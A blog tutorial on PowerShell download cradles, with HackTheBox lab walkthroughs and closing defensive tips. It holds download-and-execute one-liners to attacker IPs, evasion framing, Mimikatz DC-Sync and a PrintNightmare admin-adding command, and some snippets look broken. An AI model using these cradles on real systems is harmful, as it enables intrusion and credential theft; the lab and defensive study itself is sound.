Understanding PowerShell Download Cradles: A Deep Dive

2024.11.11

5 mins to read

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Introduction

PowerShell has revolutionized system administration and automation. One of its powerful yet often misunderstood features is the PowerShell download cradle. This article explores what download cradles are, their uses, and best practices for implementation.

What is a PowerShell Download Cradle?

A PowerShell download cradle is a technique that enables downloading and executing code directly in memory without writing to disk. This approach can help bypass security mechanisms.

Core Components and Techniques

Essential Cmdlets

Invoke-WebRequest: Retrieves content from web pages
Invoke-Expression (alias: IEX): Executes PowerShell commands from strings
System.Net.WebClient: .NET class for web server interactions

Basic Syntax Example using Invoke-Mimikatz:

Load Script into memory:
Running Invoke-Mimikatz from memory:

Common Download Cradle Examples:

Basic WebClient Method

# Standard WebClient download cradle
IEX (New-Object Net.Webclient).downloadstring("https://example.com/script.ps1")

# PowerShell 3.0+ using Invoke-WebRequest (alias: iwr)
IEX (iwr 'https://example.com/script.ps1')

COM Object Methods

# Internet Explorer COM object
$ie = New-Object -comobject InternetExplorer.Application
$ie.visible = $False
$ie.navigate('https://example.com/script.ps1')
start-sleep -s 5
$r = $ie.Document.body.innerHTML
$ie.quit()
IEX $r

# Msxml2.XMLHTTP COM object (proxy-aware)
$h = New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET','https://example.com/script.ps1',$false)
$h.send()
iex $h.responseText

Advanced Download Cradle Techniques:

# DNS TXT Record Method
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(
    ((nslookup -querytype=txt "example.com" | Select -Pattern '"*"') -split '"'[0])
)))

# XML Document Method
$a = New-Object System.Xml.XmlDocument
$a.Load("https://example.com/command.xml")
$a.command.a.execute | iex

Creating a Secure Download Cradle:

Basic Setup

Launch PowerShell with appropriate privileges
Configure execution policy if needed
```
   Set-ExecutionPolicy RemoteSigned
```

Secure Download Cradle Code:

Here’s a complete, production-ready download cradle implementation that incorporates logging, error handling, and security controls:

function Invoke-SecureDownloadCradle {
    # Enable advanced function features like -Verbose
    [CmdletBinding()]
    param (
        # Required URL parameter for the script to download
        [Parameter(Mandatory=$true)]
        [string]$Url,

        # Optional custom User-Agent to avoid detection or meet requirements
        [Parameter(Mandatory=$false)]
        [string]$UserAgent = "PowerShell/SecurityAudit",

        # Optional timeout in milliseconds (default 30 seconds)
        [Parameter(Mandatory=$false)]
        [int]$Timeout = 30000,

        # Optional switch to enable Windows Event Log logging
        [Parameter(Mandatory=$false)]
        [switch]$EnableLogging
    )

    # Internal logging function to handle both event logs and verbose output
    function Write-Log {
        param($Message)

        if ($EnableLogging) {
            $logParams = @{
                LogName = 'Application'     # Write to Windows Application log
                Source = 'SecureDownloadCradle'
                EventId = 1000
                EntryType = 'Information'
                Message = $Message
            }

            try {
                Write-EventLog @logParams
            } catch {
                Write-Warning "Logging failed: $_"
            }
        }

        Write-Verbose $Message    # Always write to verbose stream
    }

    try {
        Write-Log "Starting download from: $Url"

        # Force TLS 1.2 for security and reset cert callback to default
        [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
        [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null

        # Initialize WebClient with security settings
        $webClient = New-Object System.Net.WebClient
        $webClient.Headers.Add("User-Agent", $UserAgent)
        # Configure system proxy settings automatically
        $webClient.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
        $webClient.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials

        Write-Log "Downloading content..."
        $scriptContent = $webClient.DownloadString($Url)
        Write-Log "Content downloaded successfully"

        # Execute the downloaded content safely using InvokeCommand
        Write-Log "Executing script in memory"
        $ExecutionContext.InvokeCommand.InvokeScript($false, [scriptblock]::Create($scriptContent), $null, $null)
        Write-Log "Execution completed successfully"

    } catch [System.Net.WebException] {
        # Handle network-specific errors separately
        $errorMsg = "Network error occurred: $($_.Exception.Message)"
        Write-Log $errorMsg
        throw $errorMsg

    } catch {
        # Handle all other errors
        $errorMsg = "Unexpected error occurred: $_"
        Write-Log $errorMsg
        throw $errorMsg

    } finally {
        # Ensure proper cleanup of resources
        if ($webClient) {
            $webClient.Dispose()
            Write-Log "WebClient disposed"
        }
    }
}

This implementation includes:

Comprehensive error handling
Event logging (when enabled - requires admin privileges as requires REG change)
TLS 1.2 enforcement
Proper proxy handling
Certificate validation
Resource cleanup
Verbose output support

Example usage without logging:


#Import Script
. .\Invoke-SecureDownloadCradle.ps1

#Run
Invoke-SecureDownloadCradle -Url "http://[IP]/[SCRIPT].ps1" -Verbose

Example usage with logging:


#Import Script
. .\Invoke-SecureDownloadCradle.ps1

# Create Event Source
New-EventLog -LogName Application -Source "SecureDownloadCradle"

#Run
Invoke-SecureDownloadCradle -Url "http://[IP]/[SCRIPT].ps1" -Verbose

# Read the logs
Get-WinEvent -LogName Application | Where-Object {$_.ProviderName -eq "SecureDownloadCradle"}

+Notes+: A custom user agent can also be passed:
- -UserAgent "CompanyName/UpdateService"

Real-World Examples Of Download-Cradle Use HackTheBox

I will often use download cradles on hack the box and here are some recent examples:

Monteverde Box: Extracting the Administrator Password for Azure:

+Full Walkthrough+: https://bloodstiller.com/walkthroughs/monteverde-box/

In this example, we used a download cradle to execute AdConnect exploitation directly in memory:

iex(new-object net.webclient).downloadstring('http://10.10.14.46:9000/AdConnectPOC.ps1')

As the exploit is run in memory we get the administrators password without writing to disk.

Certified Box: Advanced Mimikatz Usage to perform a DC-Sync Attack:

+Full Walkthrough+: https://bloodstiller.com/walkthroughs/certified-box/ Coming soon (it’s still in release arena. )
Note this is not a spoiler as this is done post exploitation.

Setting Up the Environment

Start a Python HTTP server to host the Mimikatz script:
```
   python3 -m http.server 9000
```

Loading Mimikatz into Memory

Using a download cradle to load invoke-mimikatz directly into memory:

iex(new-object net.webclient).downloadstring('http://10.10.14.24:9000/Invoke-Mimikatz.ps1')

+Note+: This will hang for a little bit, so just be patient.

Performing DC-Sync Attack

Now that mimikatz is loaded into memory we can use it like we normally would and pass it arguments.

Invoke-Mimikatz -Command '"privilege::debug" "lsadump::dcsync /user:krbtgt /domain:administrator.htb"'

Driver Box: Running PrintNightmare POC from a download cradle:

+Full Walkthrough+: https://bloodstiller.com/walkthroughs/driver-box/ Coming soon (it’s still in release arena. )
Start python server to host the script:
```
   python3 -m http.server 9000
```
- +Note+: I have this command aliased to pws

Use the download cradle to load the POC directly into memory:

  iex(new-object net.webclient).downloadstring('http://10.10.14.97:9000/CVE-2021-1675.ps1')

Execute the script from memory to create new user & add them to the admins:

  Invoke-Nightmare -NewUser "bloodstiller" -NewPassword "bl00dst1ll3r!" -DriverName "PrintIt"

Verify the user has been added:
```
  net user bloodstiller
```

Security Considerations

Detection Methods

Modern security solutions detect download cradles through several means:
- PowerShell logging and ScriptBlock logging
- Network traffic analysis (especially .DownloadString patterns)
- AMSI integration in PowerShell 5.0+
- EDR behavioral analysis
- Memory scanning for known patterns

Common Restrictions

Organizations often implement:

# Execution Policy
Set-ExecutionPolicy Restricted

# AMSI Scanning
# Built into PowerShell 5.0+ by default

# AppLocker Rules
# Block PowerShell download cradle patterns
New-AppLockerPolicy -RuleType Path -Deny -Path "%SYSTEM32%\WindowsPowerShell\*\powershell.exe" -User Everyone

Defensive Recommendations

For system administrators:

Enable PowerShell logging:

   # Enable detailed script block logging
   Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

Monitor for suspicious patterns:
- Direct execution using IEX
- Base64 encoded commands
- Uncommon COM objects
- Unusual DNS TXT queries
Network Controls:
- Implement HTTPS inspection
- Block outbound PowerShell connections
- Monitor for unusual PowerShell network activity